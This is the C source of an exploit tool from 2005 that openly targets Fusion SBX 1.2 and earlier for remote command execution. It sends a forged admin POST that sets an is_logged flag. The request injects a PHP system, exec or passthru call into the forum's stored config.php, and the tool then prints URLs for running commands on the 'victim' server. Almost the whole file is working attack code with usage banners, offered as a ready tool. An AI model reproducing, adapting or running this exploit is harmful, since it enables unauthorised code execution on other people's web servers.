/*****************************************************
Fusion SBX <= 1.2 Remote Command Execution Exploit
* ** [Fusion SBX <= 1.2] exploit ** ** sileFSBXxpl ** ** This exploit use vulnerability found into ** Fusion SBX and create new variable and call it ** with a malicious function (stored in config.php). ** This exploit utilize injection of three diverse ** procedures for execution of arbitrary code on ** vulnerable machine with httpd privileges. ** ** References: www.securityfocus.org/bid/13575 * * ** coded by: Silentium of Anacron Group Italy ** date: 10/05/2005 ** e-mail: anacrongroupitaly[at]autistici[dot]org ** my_home: www.autistici.org/anacron-group-italy ** ** this tool is developed under GPL license ** no(c) .:. copyleft ** ******************************************************/#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <netdb.h>#define PORT 80 // port of web server void info(void);void banner(void);void sendxpl(FILE *out, char *argv[], int type);void errsock(void);void errgeth(void);void errconn(char *argv[]);int main(int argc, char *argv[]){FILE *out;int sock, sockconn, type;struct sockaddr_in addr;struct hostent *hp;if(argc!=4) info();type = atoi(argv[3]);if(type < 1 || type > 3) info();banner(); if((sock = socket(AF_INET,SOCK_STREAM,0)) < 0) errsock(); printf("[*] Creating socket [OK]\n");if((hp = gethostbyname(argv[1])) == NULL) errgeth(); printf("[*] Resolving victim host [OK]\n"); memset(&addr,0,sizeof(addr));memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);addr.sin_family = AF_INET;addr.sin_port = htons(PORT); sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));if(sockconn < 0) errconn(argv); printf("[*] Connecting at victim host [OK]\n"); out = fdopen(sock,"a");setbuf(out,NULL);sendxpl(out,argv,type); printf("[*] Now test at execute code on\n\n" "[1] %s%sindex.php?sile=id\n" "[2] %s%sadmin/index.php?sile=id\n\n",argv[1],argv[2],argv[1],argv[2]);shutdown(sock,2);close(sock);return 0;}void info(void){system("clear");printf("\n #########################################\n" " # sileFSBXxpl #\n" " # ################################### #\n" " # Fusion SBX <= 1.2 exploit #\n" " # Remote Command Execution #\n" " # coded by Silentium #\n" " # [ Anacron Group Italy ] #\n" " # ################################### #\n" " # www.autistici.org/anacron-group-italy #\n" " #########################################\n\n" " [Usage]\n\n" " sileFSBXxpl <victim> <path_sbx> <type>\n\n" " [Type]\n\n" " 1) injection of system()\n" " 2) injection of exec()\n" " 3) injection of passthru()\n\n" " [Example]\n\n" " sileFSBXxpl www.victim.com /sbx/ 1\n\n"); exit(1);}void banner(void){system("clear");printf("[-] sileFSBXxpl\n" " ============\n" "[-] Fusion SBX <= 1.2 exploit\n" "[-] coded by Silentium - Anacron Group Italy\n" "[-] www.autistici.org/anacron-group-italy\n\n"); } void sendxpl(FILE *out, char *argv[], int type){char *call;int size = 245;if(type == 1) call = "system";else if(type == 2) call = "exec";else if(type == 3) call = "passthru";size+=strlen(call); fprintf(out,"POST %sadmin/?settings HTTP/1.0\n" "Connection: Keep-Alive\n" "Pragma: no-cache\n" "Cache-control: no-cache\n" "Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\n" "Accept-Encoding: x-gzip, x-deflate, gzip, deflate, identity\n" "Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n" "Accept-Language: en\n" "Host: %s\n" "Content-Type: application/x-www-form-urlencoded\n" "Content-Length: %d\n\n" "set2=basic&admin_set2=standard&lang2=english&plimit2=10&noname2=Guest&" "refresh2=120&maxname2=30%%3B%%40%s%%28%%24_GET%%5Bsile%%5D%%29&maxmess" "2=120&maxlink2=120&wordbanning2=1&maxword2=20&wrapstat2=1&postorder2=1" "&setsubmit=Commit+Changes&is_logged=1\n\n",argv[2],argv[1],size,call); printf("[*] Sending exploit [OK]\n\n");} void errsock(void){system("clear");printf("[x] Creating socket [FAILED]\n\n");exit(1);}void errgeth(void){printf("[x] Resolving victim host [FAILED]\n\n");exit(1);}void errconn(char *argv[]){printf("[x] Connecting at victim host [FAILED]\n\n",argv[1]);exit(1);}
